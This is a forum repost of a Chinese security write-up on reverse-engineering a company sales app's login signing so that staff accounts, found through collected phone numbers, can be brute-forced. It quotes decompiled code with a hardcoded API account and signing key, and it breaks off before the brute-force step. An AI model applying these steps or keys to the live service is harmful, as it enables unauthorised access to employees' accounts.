安全矩阵

 找回密码
 立即注册
搜索
查看: 293|回复: 0

记一次APP登录爆破

[复制链接]

155

主题

174

帖子

1450

积分

金牌会员

Rank: 6Rank: 6

积分
1450
发表于 2022-8-7 11:36:44 | 显示全部楼层 |阅读模式
本帖最后由 Meng0f 于 2022-8-7 11:40 编辑

记一次APP登录爆破
转载于: 雷石安全实验室 [url=]雷石安全实验室[/url] 2022-08-05 17:00 发表于浙江
雷石安全实验室
雷石安全实验室以团队公众号为平台向安全工作者不定期分享渗透、APT、企业安全建设等新鲜干货,团队公众号致力于成为一个实用干货分享型公众号。
132篇原创内容

公众号

前言
某次攻防演练中,在前期信息收集的时候找到了一款客户销售APP,没有注册接口,通过收集目标APP的内部员工手机号,对其进行口令爆破。


使用工具安卓12jadx-gui
抓取登录HTTP请求包
  • 安装burp证书,并抓取登录请求


    1. POST /loginUser HTTP/1.1
    2. Host: api.xxxx.xxxxx.com

    3. apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D×tamp=1658332134014
    复制代码

  • 分析登录请求包中需要五个参数

    • apiaccount
    • sign
    • enc
    • phone
    • timestamp


反编译分析apiaccount
搜索关键词


此关键词为固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516
phone
手机号

timestamp
  • 此值为当前的时间戳String.valueOf(System.currentTimeMillis())


  • 改写为python代码


  1. import time<div>timestamp = str(int(time.time()*1000))</div>
复制代码

sign
    1. <ul><li><pre class="code-snippet__js" data-lang="typescript" style="padding-top: 1em; padding-right: 1em; padding-bottom: 1em; outline: 0px; max-width: 1000%; overflow-x: auto; white-space: normal; flex: 1 1 0%; color: rgb(51, 51, 51); letter-spacing: 0.544px; text-align: justify; box-sizing: border-box !important;"><code style="outline: 0px; max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;"><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">   <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">public</span> <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">static</span> O d(<span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span> str, <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span> str2) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        HashMap hashMap = <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">new</span> HashMap();</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        hashMap.put(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"phone"</span>, str);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        hashMap.put(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"enc"</span>, e(str2));</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> c.g.b.f.b.c(f.h(), a(hashMap));</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
    2. </span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">private</span> <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">static</span> Map<<span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>, <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>> a(Map<<span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>, <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>> map) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        HashMap hashMap = <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">new</span> HashMap();</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        hashMap.put(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"apiaccount"</span>, <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"vrpuc-aaf91f835147ce2d01216bd3bd5c3516"</span>);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        hashMap.put(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"timestamp"</span>, <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>.valueOf(System.currentTimeMillis()));</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        TreeMap treeMap = <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">new</span> TreeMap();</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        treeMap.putAll(hashMap);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (map != <span class="code-snippet__literal" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">null</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            treeMap.putAll(map);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        hashMap.put(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"sign"</span>, a((SortedMap<<span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>, <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>>) treeMap));</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (map != <span class="code-snippet__literal" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">null</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            hashMap.putAll(map);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> hashMap;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
    3. </span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">private</span> <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">static</span> <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span> a(SortedMap<<span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>, <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>> sortedMap) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        StringBuffer stringBuffer = <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">new</span> StringBuffer();</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">for</span> (Map.Entry<<span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>, <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>> entry : sortedMap.entrySet()) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (!TextUtils.isEmpty(entry.getValue())) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                stringBuffer.append(entry.getKey() + <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"="</span> + entry.getValue() + <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"&"</span>);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        stringBuffer.append(<span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">"key=a0f723c011346j39w049d7bf0356b34b"</span>);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> D.d(stringBuffer.toString()).toUpperCase();</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">private</span> <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">static</span> byte[] a(byte[] bArr, <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span> str) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (bArr != <span class="code-snippet__literal" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">null</span> && bArr.length > <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">0</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">try</span> {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                MessageDigest messageDigest = MessageDigest.getInstance(str);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                messageDigest.update(bArr);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> messageDigest.digest();</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            } <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">catch</span> (NoSuchAlgorithmException e2) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                e2.printStackTrace();</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> <span class="code-snippet__literal" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">null</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
    4. </span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">private</span> <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">static</span> <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span> q(byte[] bArr) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        int length;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">if</span> (bArr != <span class="code-snippet__literal" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">null</span> && (length = bArr.length) > <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">0</span>) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            char[] cArr = <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">new</span> char[length << <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">1</span>];</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            int i2 = <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">0</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">for</span> (int i3 = <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">0</span>; i3 < length; i3++) {</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                int i4 = i2 + <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">1</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                char[] cArr2 = f10685a;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                cArr[i2] = cArr2[(bArr[i3] >> <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">4</span>) & <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">15</span>];</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                i2 = i4 + <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">1</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">                cArr[i4] = cArr2[bArr[i3] & <span class="code-snippet__number" style="outline: 0px; max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">15</span>];</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">            <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">new</span> <span class="code-snippet__built_in" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">String</span>(cArr);</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">        <span class="code-snippet__keyword" style="outline: 0px; max-width: 1000%; color: rgb(202, 125, 55); box-sizing: border-box !important;">return</span> <span class="code-snippet__string" style="outline: 0px; max-width: 1000%; color: rgb(221, 17, 68); box-sizing: border-box !important;">""</span>;</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">    }</span></code><code style="outline: 0px; max-width: 1000%; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="outline: 0px; max-width: 1000%; box-sizing: border-box !important;">
    5. </span></code></span></code></pre></li></ul>
    复制代码

sign参数组合


    1. xxxxxxxxxx sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx×tamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'<b>enc</b><ul><li></li></ul>
    复制代码

`str = phone ` `str2 = password`



大致流程
  • 输入密码
  • 密码 + 随机10位salt

    • "password=" + "密码" + "&salt=" + salt

  • 使用此函数操作密钥

    1. <ul><li>
